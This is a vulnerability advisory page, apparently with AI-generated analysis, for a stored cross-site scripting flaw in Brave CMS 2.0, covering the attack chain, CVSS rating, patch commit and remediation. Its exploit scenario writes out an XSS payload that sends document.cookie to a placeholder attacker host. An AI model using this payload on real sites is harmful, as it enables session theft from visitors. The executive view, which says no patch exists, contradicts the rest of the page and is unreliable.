Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain editor credentials
-
DeliveryAccess CMS dashboard
-
ExploitInject XSS payload via CKEditor
-
InstallPayload stored in database
-
C2Victim views article
-
ExecuteJavaScript executes in victim browser
-
ImpactSession/credential theft or admin escalation
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker must possess valid editor-role credentials for the Brave CMS installation. Exploitation requires authenticated access to the CMS dashboard at /dashboard route with permissions to create or modify articles and pages via CKEditor. Default editor role in Brave CMS provides content creation privileges without admin rights, making this the minimum required privilege level. User interaction is required (UI:R in CVSS vector) as victims must navigate to the compromised article or page URL to trigger payload execution. Vulnerability affects only instances using CKEditor for content editing (default configuration) where article/page content is rendered with Laravel Blade's unescaped {!! !!} directive. Standard visitor role or unauthenticated users cannot inject payloads but become victims when viewing poisoned content. |
| Impact | CVSS 8.7 (High) reflects network-based attack (AV:N), low complexity (AC:L), but requires low-privilege authentication (PR:L) and user interaction (UI:R). The changed scope (S:C) indicates impact beyond the vulnerable component. While technically high-severity, real-world exploitation requires an attacker to first obtain editor-role credentials, then trick administrators or visitors into viewing the poisoned content. No EPSS score, KEV listing, or public exploit identified at time of analysis, suggesting limited real-world targeting. Primary risk is to multi-tenant CMS deployments where untrusted users hold editor roles, or post-compromise scenarios where attackers escalate from editor to admin. Organizations with trusted-only editorial teams face lower practical risk despite high CVSS. The GitHub security advisory and immediate patch availability indicate responsible disclosure without evidence of pre-patch exploitation. |
| Exploit ScenarioDerived | An attacker with editor-role credentials logs into the Brave CMS dashboard and creates or edits an article using the CKEditor interface. They inject JavaScript payload like <img src=x onerror=alert(document.cookie)> or <script>fetch('https://attacker.com/?c='+document.cookie)</script> into the article body. The CMS stores this payload verbatim in the database. When any visitor (including administrators) views the published article, the malicious JavaScript executes in their browser context, enabling session hijacking, credential theft, or further admin account compromise through phishing overlays. No publicly available exploit code identified, but exploitation is straightforward given the low attack complexity. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 08, 2026
Stored cross-site scripting (XSS) in Brave CMS 2.0 allows authenticated users with editor privileges to inject malicious JavaScript through the CKEditor rich-text interface, achieving persistent code execution in all visitors' browsers. The vulnerability stems from Laravel Blade's unescaped output directive {!! !!} rendering user-supplied content without sanitization. Patched via commit 6c56603 which implements HtmlSanitizer to allowlist safe HTML tags and strip dangerous attributes before database storage.
RemediationAI
Update Brave CMS 2.0 to commit 6c5660373cf5f0ca9181603280427aca46ef11ea or later from https://github.com/Ajax30/BraveCMS-2.0/commit/6c5660373cf5f0ca9181603280427aca46ef11ea. The patch implements app/Support/HtmlSanitizer::clean() in ArticleController and PageController to sanitize rich-text content before database storage, allowlisting safe HTML tags and stripping script tags, event handlers, and dangerous attributes. If immediate patching is not feasible, restrict editor-role access to highly trusted users only and audit existing article/page content for suspicious JavaScript (search database for <script>, onerror=, onclick=, and similar patterns). Note that restricting CKEditor features client-side provides no protection as the vulnerability exists in server-side output handling. Content Security Policy (CSP) with script-src 'self' can reduce exploit impact but does not prevent storage of malicious payloads or attacks against non-CSP-protected browsers.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Brave CMS 2.0 is a Laravel-based content management system using CKEditor for rich-text editing. The vulnerability exists in the article and page controllers (app/Http/Controllers/Dashboard/ArticleController.php and PageController.php) where user-supplied content is stored directly to the database without sanitization, then rendered using Laravel Blade's {!! !!} unescaped output directive. This CWE-79 stored XSS flaw allows arbitrary HTML/JavaScript persistence. The patch introduces app/Support/HtmlSanitizer.php which implements a DOM-based allowlist approach, permitting only specific HTML tags (p, br, b, strong, i, em, u, a, ul, ol, li, img, h1-h6, blockquote, code, pre) and attributes (href/title for anchors, src/alt/title for images), removing all other elements including script tags and event handlers.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Primary rating from Vendor (github) · only source for this CVE.
CVSS VectorVendor: github
Lifecycle Timeline
2DescriptionCVE.org
Brave CMS is an open-source CMS. Prior to commit 6c56603, page and article body content entered through the CKEditor rich-text editor is stored verbatim in the database and subsequently rendered with Laravel Blade's unescaped output directive {!! !!}. Any JavaScript or HTML injected by an editor-role user is permanently stored and executed in every visitor's browser upon page load. This issue has been patched via commit 6c56603.
Executive ViewAI
Brave CMS 2.0 contains a stored XSS vulnerability that allows authenticated editors to inject malicious JavaScript into content, executing in all visitors' browsers and potentially compromising user sessions, data, and trust. Organizations running Brave CMS 2.0 must immediately restrict editor access and implement content review workflows until a patch is released, as this vulnerability enables persistent attacks against all site visitors.
Implement mandatory editorial review process requiring administrator sign-off before any editor-created content publishes; restrict editor role to trusted personnel only; deploy Web Application Firewall rules to detect and block common XSS payloads in POST/PUT requests to CMS; enable Content Security Policy (CSP) headers to restrict inline script execution; conduct weekly automated scans of published content for JavaScript injection patterns; consider temporary read-only mode for non-critical content until patch is available.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-28648
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB